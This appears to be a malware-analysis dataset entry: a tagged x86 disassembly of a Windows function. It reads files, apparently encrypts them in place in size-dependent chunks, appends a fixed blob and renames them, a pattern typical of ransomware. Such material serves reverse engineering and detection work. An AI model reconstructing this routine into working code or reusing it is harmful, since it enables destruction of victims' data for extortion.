Function at 0x425ef0
Capabilities:
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
mov eax, dword [0x4c9100]
xor eax, esp
mov dword [esp + 0x54], eax
push esi
mov esi, ecx
push edi
mov eax, esi
cmp dword [esi + 0x14], 7
jbe 0x425f12
mov eax, dword [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov edx, eax
mov dword [esp + 0x40], 0
mov ecx, edx
mov dword [esp + 0x18], edx
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
movaps xmmword [esp + 0x30], xmm0
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x425f40
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x38]
call fcn.00429720
lea eax, [esp + 0x30]
mov edx, 0x4de560
push eax
mov ecx, 0x4de4d0
call fcn.0042aac0
mov ecx, dword [esp + 0x48]
add esp, 4
mov edi, eax
cmp ecx, 7
jbe 0x425faf
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x425fa5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426348
push ecx
push edx
call fcn.0046160b
add esp, 8
cmp edi, 0x4de560
jne 0x426337
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x425fc5
mov eax, dword [esi]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
mov dword [esp + 0x14], edi
cmp edi, 0xffffffff
je 0x426337
lea eax, [esp + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
jne 0x426015
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.004615cd
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x54]
mov edi, dword [esp + 0x50]
mov dword [esp + 0x28], eax
test eax, eax
jg 0x426125
jl 0x426037
cmp edi, 0x96000
ja 0x426125
lea eax, [edi + 0x38]
mov byte [esp + 0x24], 0
push eax
call fcn.004619a7
add esp, 4
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x2c]
push 0
push ecx
push edi
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x426110
cmp dword [esp + 0x2c], edi
mov edi, dword [esp + 0x14]
jne 0x426114
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x18]
push 0x4de4b0
push eax
lea edx, [eax + ecx]
call fcn.0043cf40
mov ecx, dword [esp + 0x34]
add eax, 0x38
add ecx, 0x38
mov dword [esp + 0x1c], eax
add esp, 8
cmp eax, ecx
jne 0x426114
push 0
lea ecx, [esp + 0x2c]
push ecx
push eax
push dword [esp + 0x24]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x426114
mov eax, dword [esp + 0x14]
cmp dword [esp + 0x28], eax
jne 0x426114
push 0
lea eax, [esp + 0x2c]
push eax
push 0x78
push 0x4de438
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x426114
mov eax, dword [esp + 0x24]
mov ecx, 1
cmp dword [esp + 0x28], 0x78
push dword [esp + 0x18]
movzx eax, al
cmove eax, ecx
mov dword [esp + 0x28], eax
call fcn.0046163c
add esp, 4
jmp 0x426288
mov edi, dword [esp + 0x14]
push dword [esp + 0x18]
call fcn.0046163c
add esp, 4
jmp 0x426288
mov edx, dword [esp + 0x18]
xorps xmm0, xmm0
mov ecx, edx
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
lea eax, [ecx + 2]
mov dword [esp + 0x18], eax
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x426150
sub ecx, dword [esp + 0x18]
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x38]
call fcn.00429720
lea eax, [esp + 0x30]
mov edx, 0x4de8d8
push eax
mov ecx, 0x4de560
call fcn.0042aac0
mov ecx, dword [esp + 0x48]
add esp, 4
mov dword [esp + 0x18], eax
cmp ecx, 7
jbe 0x4261c7
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4261b9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426348
push ecx
push edx
call fcn.0046160b
mov eax, dword [esp + 0x20]
add esp, 8
cmp eax, 0x4de8d8
jne 0x4261d8
mov edx, 3
jmp 0x42626e
mov eax, dword [esp + 0x28]
test eax, eax
jg 0x426245
jl 0x4261ea
cmp edi, 0x600000
jae 0x4261f1
mov edx, 4
jmp 0x42626e
test eax, eax
jg 0x426245
jl 0x4261ff
cmp edi, 0x3200000
jae 0x426206
mov edx, 0x10
jmp 0x42626e
test eax, eax
jg 0x426245
jl 0x426214
cmp edi, 0x6400000
jae 0x42621b
mov edx, 0x20
jmp 0x42626e
test eax, eax
jg 0x426245
jl 0x426229
cmp edi, 0x1f400000
jae 0x426230
mov edx, 0x40
jmp 0x42626e
test eax, eax
jg 0x426245
jl 0x42623e
cmp edi, 0x80000000
jae 0x426245
mov edx, 0x80
jmp 0x42626e
cmp eax, 3
jg 0x426257
jl 0x426250
test edi, edi
jae 0x426257
mov edx, 0x100
jmp 0x42626e
cmp eax, 6
jg 0x426269
jl 0x426262
test edi, edi
jae 0x426269
mov edx, 0x200
jmp 0x42626e
mov edx, 0x400
push dword [esp + 0x54]
mov edi, dword [esp + 0x18]
mov ecx, edi
push dword [esp + 0x54]
call fcn.00425d10
add esp, 8
mov byte [esp + 0x24], al
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp byte [esp + 0x24], 0
je 0x426337
mov edx, dword [esi + 0x10]
mov eax, SysReAllocString
mov edi, dword [0x4da464]
sub eax, edx
cmp eax, edi
jb 0x42634d
cmp dword [esi + 0x14], 7
mov ecx, esi
jbe 0x4262bc
mov ecx, dword [esi]
cmp dword [0x4da468], 7
mov eax, 0x4da454
push edi
cmova eax, dword [0x4da454]
push eax
push edx
push ecx
push ecx
push dword [esp + 0x2c]
lea ecx, [esp + 0x48]
call fcn.0042a7a0
cmp dword [esp + 0x44], 7
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
cmp dword [esi + 0x14], 7
jbe 0x4262f7
mov esi, dword [esi]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x426337
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42632d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x426352
push ecx
push edx
call fcn.0046160b
add esp, 8
mov ecx, dword [esp + 0x5c]
pop edi
pop esi
xor ecx, esp
call fcn.004615cd
mov esp, ebp
pop ebp
ret
call fcn.004834cf
call fcn.00422c40
call fcn.004834cf
int3